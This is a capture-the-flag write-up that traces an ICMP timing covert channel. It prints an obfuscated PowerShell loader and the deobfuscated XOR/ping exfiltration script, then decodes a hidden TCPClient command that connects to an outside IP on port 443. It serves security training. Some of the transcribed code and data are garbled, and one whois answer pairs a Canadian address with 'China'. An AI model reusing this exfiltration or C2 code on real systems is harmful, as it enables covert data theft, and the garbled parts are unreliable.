

Follow The Trail 1

200

One of the local cyber defenders has noticed a high number of pings going to 192.168.211.15. They think it might be some sort of C2. Can you discover what data is being transmitted? FORMAT: flag_{...}

To start off we see nothing but ICMP packets and when looking at the packets there was not a bunch of changes between them other than checksum and sequence numbers, which are all correct and not modified.

We also see that there are only two ip addresses here so we need to drop one of the Ip addresses. For this one we will only look at the destination of the .15 box.

The image shows a Wireshark packet capture window titled "cdd_capture.pcapng". The filter bar at the top is set to "ip.dst == 192.168.211.15". The packet list shows 25 ICMP Echo (ping) requests from 192.168.211.128 to 192.168.211.15. The selected packet (packet 25) is an ICMP Echo (ping) request with ID 0x0001, sequence 24/6144, and TTL 128. The packet details pane shows the following information:


- Type: 8 (Echo (ping) request)
- Code: 0
- Checksum: 0x4d47 [correct]
- [Checksum Status: Good]
- Identifier (BE): 1 (0x0001)
- Identifier (LE): 256 (0x0100)

The packet bytes pane shows the raw data in hexadecimal and ASCII:


```
0000 00 0c 29 5a db 20 00 0c 29 c8 a5 2c 08 00 45 00  ..)Z. . . . .E.
0010 00 3c 55 9f 00 00 00 01 00 00 c0 a8 d3 80 c0 a8  <U. . . . .
0020 d3 0f 08 00 4d 47 00 01 00 14 c1 62 63 64 65 66  ...MG...abcdef
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76  ghijklmn opqrstuv
0040 77 61 62 63 64 65 66 67 68 69  wabcdefg hi
```

One other thing we need to change is the time display. This needs to be switched to seconds since previously displayed packet. View -> Time Display Format -> seconds since previously displayed packet

Or the hot keys of ctrl + alt + 6



The next thing we need to do is to extract the display we have out to csv file.



Looking at the csv, icmp packets should have the same time between each packet normally, but here we are seeing the times vary between each packet. So, there are packets that go between .02 to .04 and then times that vary from .50 to 0.54.

With this information we will turn this into a binary for items with time between packets above .5 is a 1 and below is a 0.

=IF(B2>0.5,1,0)

No.	Time	
1	0.00	0
3	0.02	0
5	0.03	0
7	0.02	0
9	0.02	0
11	0.04	0
13	0.02	0
15	0.03	0
17	0.02	0
19	0.04	0
21	0.02	0
23	0.04	0
25	0.02	0
27	0.04	0
29	0.02	0
31	0.03	0
33	0.03	0
35	0.02	0
37	0.02	0
39	0.02	0
41	0.02	0

We get the following binary:

[illegible]

There is a bunch of padding at the front so we drop off all the 0s in the front that do not go into byte we are left with:

```
00100000 00101010 00100111 00100001 00011001 00111101 00011110 00001001 00010100
01101101 00001111 00000101 00001011 00010110 00011001 00010010 00110011 00101000
00101000 00100011 00101010 00101111 00101000 00100001 01111011 00000000 00010011
00001000 00111011
```

Since we know the output should be flag{something} we can compare the known to the unknown and see what differences there are. We can find that with the following

F I a g

Encoded: 00100000 00101010 00100111 00100001

Decoded: 01100110 01101100 01100001 01100111

Difference: 01000110 01000110 01000110 01000110

We have a key of 01000110

In using the Excel spreadsheet from earlier I was able to put in the key and write an if statement that will convert the data: =IF(F27=1,E27+1,E27)

			0	Key	Decode
49	0.02		0		
51	0.04		0	0	0
53	0.02		0	1	1
55	0.54		1	0	1
57	0.02		0	0	0
59	0.02		0	0	0
61	0.03		0	1	1
63	0.02		0	1	1
65	0.02		0	0	0
67	0.03		0	0	0
69	0.02		0	1	1
71	0.52		1	0	1
73	0.02		0	0	0
75	0.52		1	0	1
77	0.02		0	1	1
79	0.53		1	1	0
81	0.02		0	0	0
83	0.04		0	0	0
85	0.02		0	1	1
87	0.52		1	0	1
89	0.02		0	0	0
91	0.02		0	0	0
93	0.52		1	1	0
95	0.53		1	1	0
97	0.53		1	0	1
99	0.03		0	0	0

Taken to CyberChef to remove the whitespace and convert from Binary we get the following:

The screenshot shows the CyberChef web interface. On the left, the 'Recipe' panel contains two steps: 'Remove whitespace' and 'From Binary'. The 'Remove whitespace' step has checkboxes for 'Spaces', 'Carriage returns (\r)', 'Line feeds (\n)', 'Tabs', 'Form feeds (\f)', and 'Full stops', all of which are checked. The 'From Binary' step has a 'Delimiter' field set to 'Space'. On the right, the 'Input' and 'Output' panels are visible. The 'Input' panel shows a binary string: '01100110011011000110000101100111101011111011110110101100001001111010100100010101101001001010000110100110101010000010111110101010001110101011011100110111001100110100101110011001110111010100011001110101010101010011100111101'. The 'Output' panel shows the result: 'flag_{XOR+ICMP_Tunneling=FUN}'.

Recipe	Input	Output
Remove whitespace <input checked="" type="checkbox"/> Spaces <input checked="" type="checkbox"/> Carriage returns (\r) <input checked="" type="checkbox"/> Line feeds (\n) <input checked="" type="checkbox"/> Tabs <input checked="" type="checkbox"/> Form feeds (\f) <input type="checkbox"/> Full stops	Input length: 232 lines: 1 total: 3 loaded: 3 8: flag 9: 0110011001101100011... 011001100110110001100001011001111010111110111101101011000010011110101001000101011010010010100001101001101010100000101111101010100011101010110111001100110100101110011001110101010101010011100111101	Output time: 2ms length: 29 lines: 1 8: flag 9: flag_{XOR+ICMP_Tunneling=FUN} flag_{XOR+ICMP_Tunneling=FUN}

Flag: flag_{XOR+ICMP_Tunneling=FUN}

Follow The Trail 2

100

Good job! We seem to have the malicious script that was making the pings, but it seems to be obfuscated somehow. Can you reverse it back to the original script?
FORMAT IN flag_{...}

Looking at the script we see lots and lots of white space then at the end the following text:

```
'|ForEach-Object{$pqwc = $_ -cspplit ' '|ForEach-Object { ' ';$.split(' '|) |ForEach-Object { $_.Length-1}} ; -JOIN(( $pqwc[0..($pqwc.Length-1)] -JOIN(' ')).Trim( ' ')).split( ' '|) |ForEach-Object { ( [Int]$_-as[Char]) } )) |.( '..LASTIndexOfAny.ToString()[42,11,80]-Join(''))
```

The white space is a bunch of space/tabs. The code looks to split on tabs.

For this I went with a dynamic approach to decode the script. I turned on PowerShell script blocking through group policy and then ran the code to view the unencoded script.

```
Creating Scriptblock text (1 of 1):
. ( $PSHomE[4]-SpSHoMe[34]-X' ) ( " $(SET-Item 'Variable:Ofs' " " ) + [STRING]( '43N103H157H144-145_40_1511163_401160_162%157%160F1451162H164_171_40z157N146z72F40_63F61163F63F67%
40N61s60N67H165z65z15H12143Y111-146%40-165%163-145F144Y40z167Y151%164_150%157z1651164Y40N160H145Y162-155-1511163Y1631151N157s156z40s111Y40-167N151154H154%40s162H141F156z1631157155F167z141-162Y172_
40s141J154s154F40J171Y157Y165z162_40s146H151F154Y145z172N41H41F15_12N15J12H44F145F156N143Y40s75N40_133z123-171%163F164J145F155s56Y124Y145H170_164z56_105z156z143N157_144z151s156J147_135z72H72z125%124_
106%70N15F12H146_165F156F143N164s151H157%156-40%170_157Y162_40J173_15N12s40N40F40-40J162z141Y162_141%155H50N44-163Y164z162s151N156H147z54N40J44s155z145F164H150%157%144H51_15Y12-40z40H40_
40J44Y170J157162N153H145z171_40N75z40F44s1451156z143_56_107%145F164H102z171H164N145H163Y50N42_106F42%51Y15_12z40J40z40J40s15-12F40_40z40z40Y44_142J171s164z145z123s164N162s151s156H147_40%
75F40Y44F145N156Y143F56J107%145Y164s102%171H164s145s163%50J44H163-164J162z151H156z147F51H15F12z40-40s40z40z43z124J141s153%145H40_143N154_145Y141N162_164J145Y170_164%40z142H171-164-145%163H40_141%
156z144%40_170%157s162Y40z164s150%145%155%40%167J151F164-150Y40Y44J170s157_162%153F145-171z56F40z113z145F145H160N40N145N166F145J162s171_164-150%151-156s147F40_141-163z40H141H156Y40H141z162H162s141%
171H15z12%40-40z40F40Y44s170_157%162H144N104J141N164-141Y40s75F40s44H50_146J157-162H40%50N44%151H40%75N40_60-73z40H44s151N40H55N154z164%40H44s142H171N164_145_123J164%162-
151N156Y147N56F154H145Y156z147z164N150-73H40%51J40s173s15J12s40F40_40J40_40%40s40Y40H146J157%162s40s50_44_152J40F75J40J60H73F40H44F152-40-55s154%164F40-44-170s157Y162-153-145-171-56Y154-
145Y156H147s164N150N73H40_44s152Y5z53Y51N40F173N15%12s40N40-40%40N40%40F40-40Y40H40z40s40%44N142z171-164s145Y123%164s162Y151N156F147_133Y44_151-135_40F55N142-170F157%
162J40s44Y170Y157162N153s145H171-133-44%152Y135_15%12z40J40H40%40s40-40N40z40N40H40%40-40F44s151_53Y53Y15J12_40-40-40%40s40F40-40z40Y40J40s40N40s151H146%40J50-44H151Y40z55s147_145_40s44J142-
171J164s145%123J164F162F151H156z147J56J114s145F156N147s164z150J51_40N173-15H12F40%40%40Y40%40N40-40F40_40J40Y40_40H40J40s40s40s44s152%40s75N40Y44H170s157-162H153-145-171F56J154-145F156_147-164F150_
15Y12N40Y40H40z40z40J40N40s40N40J40F40-40Y175z15_12Y40z40H40N40%40_40N40-40_175H15-12Y40H40s40F40s175J51s15N12H40H40H40F40N15s12%40N40s40Y40z43z124J141H153N145N40z170%157z162%47%144_40H142-
171s164%145Y163s40N141z156_144N40-143J157-156Y166%145Y162H164J40H164H150-145J155Y40F164s157-40F142z151_156F141F162s171H15N12-40_40%40F40Y106Y157-162%105z141%143-150H50N44_142-171H164z145z40J151%
156F40z44J170F157F162-144s104Y141s164F141-51Y173s40J15_12-40-40F40_40s40z40z40Y40H44-170-157N162J144_104F141Y164N141N102N151J155s141s162N171N40z75H40Y133z123s171%163Y164z145s155s56%103H157%156-
166H145H162_164N135%72Y72H124z157_123N164-162Y151_156-147z50_44J142%171N164J145s4%62%51F6z120-141_144H114F145_146N164N50z70s4Y47z60%47s51%1512-40-40N40F40_40-40_40s40J44F170F157Y162Y144%
104N141z164H141z102H151z156-141F162-171N123_164H162_151-156Y147z40H53z75Y40H133Y163F164J162z151z156Y147J133s44H170s157-162H144Y104Y141z164-141J102_151s156Y141H162H171_151J2s40Y40N40Y40N175s15F12H40-
40%40%40H45%12_40H40s40H40N162H145N164_165s162Y156F40Y44F170J157F162Y144z104-141-164z141%102Y151-156Y141z162F171s123N164-162s151N156%147_15z12z40Y40z40F40N43s146H154-141-147J137H173F104_
157z131H17N165H141%15F153_145J117H142Y146_165z163_143Y141_164z151J157N156F62H77s175F15F12z175s15%12_44Y157_165N164-160F165%164s40N75s40Y170J157z162-40-42-146F154_141N147_
137F173N130Y117N122s53s11J103Y115H120Y137J124J165s156F156H145N154-151J156N147J75s106s125s116-175-42z40N42N145s156H143J162N171J160_164%42z15-12J43-127N162_151%164J145_55z110s157s163Y164N40_44z157F165_
164F160Y165z164s15-12N15H12s43H124-141N153-145F40z145%141s143_150-40F144_151H147-151%164_40%151_156J40z164F150H145_40J130-117-122_47-144Y40s163Y164F162N151s156H147-56s40z111_146J40z60H54-40F160N151z156_
147H40s156-157H167%56%40_111N146J40H61sJ40_160N151J156N147J40J151N156z40F65s60s60N155F163J15s12J40F40J40_40J146s157%162z40J50z44F160_40F75Y40s60F73%40s44_160J40_55%154H164N40_62Y65s73F40F44_
160s53J53J157F173%15Y12%40F40F40H40%40J40-40_40z160_151s156H147s40_55Y167%40N61%40_55F156J40s61F40J61Y71N62Y56-61_66J70Y56-62J61-61s56J61Y65J1512N40J40%40N40Y175_15F12F40H40_40J40H146z157H162F40-
50F44Y153F40z75z40N60z73-40H44%153H40-55N154z164-40%44%157F165-164z160s165H164H56F114H145Y156J147s164-150F73Y40-44Y153Y3Y35z51s173Y15%12%40N40s40H40J40%40N40s40s40N40J151s156%146%
40F50H44s160J151s156z147F40N55s145F161Y40-42%60z42%51_173H15s12H40_40s40z40J40z40J40%40_40H40s40_40%160H151Y156F147N40H55_167N40J61z40F55H156_40s61z40_61H71H62s56Y61z66z70-56N62Y61%61%56z6Y65%
15F12N40H40F40Y40z40Y40Y40s40s40z40_40Y40N15J12-40-40J40%40Y40s40H40J40z175%15-12H40Y40N40z40_40_40z40Y40F145J15J163Y145%40F173-15z12J40z40%40F40H40_40J40F40N40Y40Y40-40z123N164%141H162F164_
55s123F154%145%145z160J40H55N155J40s65H60z60H15H12-40Y40N40_40%40H40z40_40_40H40J40z40N160H151N156_147J40F55%167-40Y61s40F55_156N40Y61%40_61z71F62-56H61N66s70F56-62Y61F61z56%61z65-15Y12F40H40-
40Y40N40N40-40F40z40F40-40Y40H15s12H40N40z40-40J40%40%40Y40H175J15s12F40s40-40z40z175%.SpLIt( 'Y_H%z-sNz' ) | ForEach-Object { ([Char]([CoNVERT]:ToINT16( ([StrInG]$_)_8 ) ))}+ " $(Set 'Ofs' ' ' )
```

Creating Scriptblock text (1 of 1):

#Code is property of: 31337 107u5

#If used without permission I will ransomwarz all your filez!!

\$enc = [System.Text.Encoding]::UTF8

function xor {

param(\$string, \$method)

\$xorkey = \$enc.GetBytes("F")

\$byteString = \$enc.GetBytes(\$string)

#Take cleartext bytes and xor them with \$xorkey. Keep everything as an array

\$xordData = \$(for (\$i = 0; \$i -lt \$byteString.length;) {

for (\$j = 0; \$j -lt \$xorkey.length; \$j++) {

\$byteString[\$i] -bxor \$xorkey[\$j]

\$i++

if (\$i -ge \$byteString.Length) {

\$j = \$xorkey.length

}

}

}}

#Take xor'd bytes and convert them to binary

ForEach(\$byte in \$xordData){

\$xordDataBinary = [System.Convert]::ToString(\$byte,2).PadLeft(8,'0')

\$xordDataBinaryString += [string]\$xordDataBinary

}

return \$xordDataBinaryString

#flag_{DoYouLikeObfuscation2?}

}

\$output = xor "flag_{XOR+ICMP_Tunneling=FUN}" "encrypt"

#Write-Host \$output

#Take each digit in the XOR'd string. If 0, ping now. If 1, ping in 500ms

Flag: flag_{DoYouLikeObfuscation2?}

Follow The Trail 3



50

Alright, there seems to be an author for this code. Name is spelled oddly, but intelligence suggests that this "31337 107u5" usually uses Myspace for C2 and to update their malware. Can you find this user's Myspace page? FORMAT IN <https://myspace.com/XXXXXX>

We can see that this will be on myspace.com so we are looking for a user.

We also have 31337 107u5 and in leet speak that turns into elite lotus

So we search for elite lotus on myspace we find a user.



Flag: https://myspace.com/elite_lotus

Follow The Trail 4

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
It looks like Elite Lotus has change the page used for C2. What is the URL of the new page? Intelligence has indicated that Elite Lotus does not change their profile name or picture very often.

FORMAT IN


`https://xxxxxxxxxxxxxxxxxxxxxxxxxxxx`

We are looking for the user account elite_lotus on another platform, and after looking at the hints there is mention of sharing music.

Doing a search for audio share we can find the platform of soundcloud.



If we look for elite_lotus on soundcloud we find our person:

 **SOUNDCLOUD**


HomeStreamLibrary


elite_lotus


Search results for "elite_lotus"


Everything


Found 1 person, 1 track


 SoundCloud Go+ tracks

 Tracks


 People

 Albums


 Playlists




Elite Lotus



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 **SOUNDCLOUD**

HomeStream



Elite Lotus


Flag: <https://soundcloud.com/user-891708714>

Follow The Trail 5

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
What is the IP and port that the obfuscated powershell script is creating a socket to? FORMAT IN IP:PORT

For this one we are picking up where the last question left off with soundcloud. We can see on the page that there is some interesting stuff written on the profile.



The image shows a SoundCloud profile for a user named "Elite Lotus". The profile picture is a glowing purple lotus flower. The background image is a view of the Great Wall of China. The profile has 1 follower, 0 following, and 0 tracks. The username "Elite Lotus" is displayed in a black box. Below the profile information, there is a section for "All", "Popular tracks", "Tracks", "Albums", "Playlists", and "Reposts". The "All" tab is selected. The profile also shows a "Follow" button and a "Share" button. The profile ID is "KCh2QXJpQWJMRSAnKm1EcionKS5OQW1IWzMsMTE".

We take that to CyberChef and convert the Base64 to get the following:



The image shows the CyberChef Base64 decoder interface. The "From Base64" section is active, and the "Alphabet" is set to "A-Za-z0-9-_". The "Remove non-alphabet chars" checkbox is checked. The input text is "KCh2QXJpQWJMRSAnKm1EcionKS5OQW1IWzMsMTEsM10tam9pT1cnKS80ZCtt2JqZWn0IFN5c3R1bS50ZXQuU29ja2V0cySUQ1BDbGllbnQoKCJ7NH17NX17MH17Mn17M317N317MX17Nn01LWYgJzI1JywnMicsJzAuMScsJzcnLCCxMyCsJzAuJywnMjYnLCC3LicpLDQ0Myk". The output is a PowerShell command: `((vARIABLE '*mDr*').Name[3,11,2]-join'') New-Object System.Net.Sockets.TCPClient(("{4}{5}{0}{2}{3}{7}{1}{6}"-f '25','2','0.1','7','13','0.','26','7.'),443)`. The output is displayed in a box with a "time: 11ms", "length: 155", and "lines: 1" indicator.

And if we decode the ip address we get the following: 130.250.177.226

Flag: 130.250.177.226,443

Follow The Trail 6

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According to ARIN, what country is this IP located at? FORMAT IN Country

Go to the ARIN whois lookup:

Source Registry	ARIN
Kind	Org
Full Name	SMARTT INC.
Handle	C07319114
Address	113-3855 HENNING DRIVE BURNABY BC V5C6N3 China
Roles	Registrant
Registration	Tue, 02 Apr 2019 15:08:22 GMT (Tue Apr 02 2019 local time)
Last Changed	Tue, 02 Apr 2019 15:08:22 GMT (Tue Apr 02 2019 local time)
Self	https://rdap.arin.net/registry/entity/C07319114
Alternate	https://whois.arin.net/rest/org/C07319114
Port 43 Whois	whois.arin.net

Flag: China